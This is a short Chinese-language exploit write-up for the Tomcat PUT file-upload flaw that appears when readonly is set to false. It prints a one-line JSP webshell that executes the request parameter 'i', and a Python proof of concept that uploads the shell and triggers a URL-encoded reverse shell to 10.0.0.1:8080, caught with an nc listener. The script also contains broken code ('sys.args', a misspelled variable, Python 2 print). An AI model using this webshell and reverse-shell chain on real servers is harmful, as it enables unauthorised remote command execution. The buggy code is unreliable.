一、原理分析:
只需參數readonly設置為false或者使用參數readonly設置啟用WebDAV servlet false,則Tomcat可以不經任何身份驗證的控制直接接收PUT方式上傳的文件,無論上傳者是任何人,也無論上傳的是任何文件。此時可以上傳jsp文件,直接執行jsp代碼。
二、實例分析:
我們上傳1.txt,直接返回了201成功
不幸的是找到的這個環境對jsp上傳是失敗的,所以在一定程度上防止了getshell的。
如果能夠上傳jsp,只需傳一個木馬上去,執行反彈shell的命令,就可以搞定了。
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
然后我們可以寫一個腳本來搞定
三、驗證POC:
poc的流程其實很簡單,requests庫發起put請求,上傳payload如上,然后直接訪問對應的url反彈shell就行。
只寫出關鍵代碼
import sys import uuid import requests targetip = sys.args[1] targetport = sys.args[2] filename = uuid.uuid1() targeturl = "https://%s:%s/%s.jsp"%(targetip,targetport,filrname) response = requests.put(targeturl,data='<%Runtime.getRuntime().exec(request.getParameter("i"));%>') if response.status_code == 201: print "YES" requests.get(targeturl+"?i=%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%38%30%38%30%20%30%3e%26%31%0a")
參數i的部分URL編碼后的:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
只需要自己用nc監聽者端口就可以了。